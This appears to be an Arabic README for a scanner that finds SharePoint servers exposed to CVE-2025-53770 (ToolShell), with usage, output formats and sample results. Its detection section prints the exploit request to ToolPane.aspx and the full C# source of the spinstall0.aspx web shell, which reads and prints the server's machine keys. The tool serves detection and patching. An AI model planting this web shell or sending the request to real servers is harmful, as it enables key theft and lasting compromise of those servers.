
ماسح ToolShell - CVE-2025-53770 ومعلومات الكشف
مُجمّع بنسبة 100% من التغريدات المتداولة حول الحمولات والهجمات المختلفة، لذا يأتي بدون أي ضمان إلخ. صُمم الماسح لتحديد الحالات المعرّضة للخطر، ويحتوي على إعدادات للاستخدامات المعروفة للاستغلال في الهجمات الفعلية، وهو مصمم بشكل أساسي للاستخدام الدفاعي لتحديد الحالات المعرّضة للخطر وتمكينك من تصحيح الثغرات.
يقوم هذا الماسح بإجراء فحوصات آلية على نشرات SharePoint من خلال:
SP2013: WEBSER~1\15\ مقابل SP2016+: WEBSER~1\16\)git clone https://github.com/ZephrFish/CVE-2025-53770-Scanner
cd CVE-2025-53770-Scanner
pip install -r requirements.txt
أنشئ ملفًا نصيًا يحتوي على المضيفات المستهدفة (مضيف واحد في كل سطر):
sharepoint1.example.com
sharepoint2.example.net
internal-sp.company.local
شغّل الماسح:
python3 scanner.py -i hosts.txt
python3 scanner.py -i hosts.txt -o results.json -l scan.log -t 20 -v
| الخيار | الوصف | الافتراضي |
|---|---|---|
-i, --input | مسار ملف قائمة المضيفات (مطلوب) | - |
-o, --output | ملف الإخراج للنتائج (.json, .csv, .txt) | None |
-l, --logfile | مسار ملف السجل للتسجيل التفصيلي | None |
-t, --threads | عدد الخيوط المتزامنة | 10 |
-v, --verbose | تفعيل الإخراج التفصيلي والتسجيل | False |
-o results.json)[
{
"host": "sharepoint.example.com",
"url": "https://sharepoint.example.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx",
"scan_time": "2025-07-21T10:30:00.123456",
"vulnerable": true,
"status_code": 200,
"response_size": 15432,
"error": null,
"response_time": 1.23
}
]
-o results.csv)يوفر بيانات جدولية مناسبة للتحليل في جداول البيانات، مع أعمدة لجميع مقاييس الفحص.
-o results.txt)صيغة مقروءة للبشر تتضمن حالة الثغرة وتفاصيل الفحص.
تستهدف CVE-2025-53770 ثغرة إلغاء تسلسل (deserialization) في مكوّن ExcelDataSet في SharePoint، والتي تم استغلالها بنشاط في الهجمات الواقعية. يكشف الماسح عن:
/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx مع حمولة متسلسلة (serialized)ValidationKey|Validation|DecryptionKey|Decryption|CompatibilityMode
Example: [128-256 hex chars]|HMACSHA256|[48-96 hex chars]|AES|Framework45
spinstall0.aspx للوصول المستمر واستخراج المفاتيحMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0/_layouts/SignOut.aspxيحلل الماسح الاستجابات بحثًا عن:
$ python3 scanner.py -i corporate-sharepoint.txt -o vuln-results.json -l scan.log -v
Starting scan of 150 hosts with 10 threads...
Target CVE: CVE-2025-53770 (SharePoint ExcelDataSet deserialization)
Logging to: scan.log
Results will be saved to: vuln-results.json
[+] VULNERABLE [CRITICAL]: sp-prod-01.acme.local
[-] Not vulnerable: sp-dev-02.acme.local
[!] ERROR: offline-sp.acme.local - Connection timeout
[+] VULNERABLE [HIGH]: sp-legacy.acme.local
Progress: 50/150 (33.3%)
Progress: 100/150 (66.7%)
Progress: 150/150 (100.0%)
============================================================
SCAN COMPLETE
============================================================
Total hosts scanned: 150
Vulnerable hosts: 3
Success rate: 97.3%
VULNERABLE HOSTS (CVE-2025-53770):
CRITICAL - MACHINE KEY EXTRACTED (1 hosts):
• sp-prod-01.acme.local (Response time: 0.85s, Version: 2016+)
WARNING: IMMEDIATE ACTION REQUIRED: Machine keys compromised
HIGH CONFIDENCE (1 hosts):
• sp-legacy.acme.local (Response time: 1.23s, Version: 2013-2016)
LOW CONFIDENCE (1 hosts):
• sp-archive.acme.local (Response time: 2.10s, Version: Unknown)
Detailed results saved to: vuln-results.json
فعّل التسجيل التفصيلي (-v) وملفات السجل (-l) لاستكشاف الأخطاء التفصيلي:
tail -f scan.log
يتضمن الماسح كشفًا لأنماط الاستغلال المؤكدة التي رُصدت في الهجمات النشطة:
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: target.domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 7699
Content-Type: application/x-www-form-urlencoded
Referer: /_layouts/SignOut.aspx
Connection: close
MSOTlPn_Uri=http%3A%2F%2F{{host}}%2F_controltemplates%2F15%2FAclEditor.ascx
&MSOTlPn_DWP=[ExcelDataSet payload with CompressedDataTable containing serialized exploit]
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}
</script>
ValidationKey: [128-256 character hex string]
Validation: HMACSHA256|HMACSHA1|SHA1
DecryptionKey: [48-96 character hex string]
Decryption: AES|DES|3DES
CompatibilityMode: Framework20SP1|Framework45|Framework40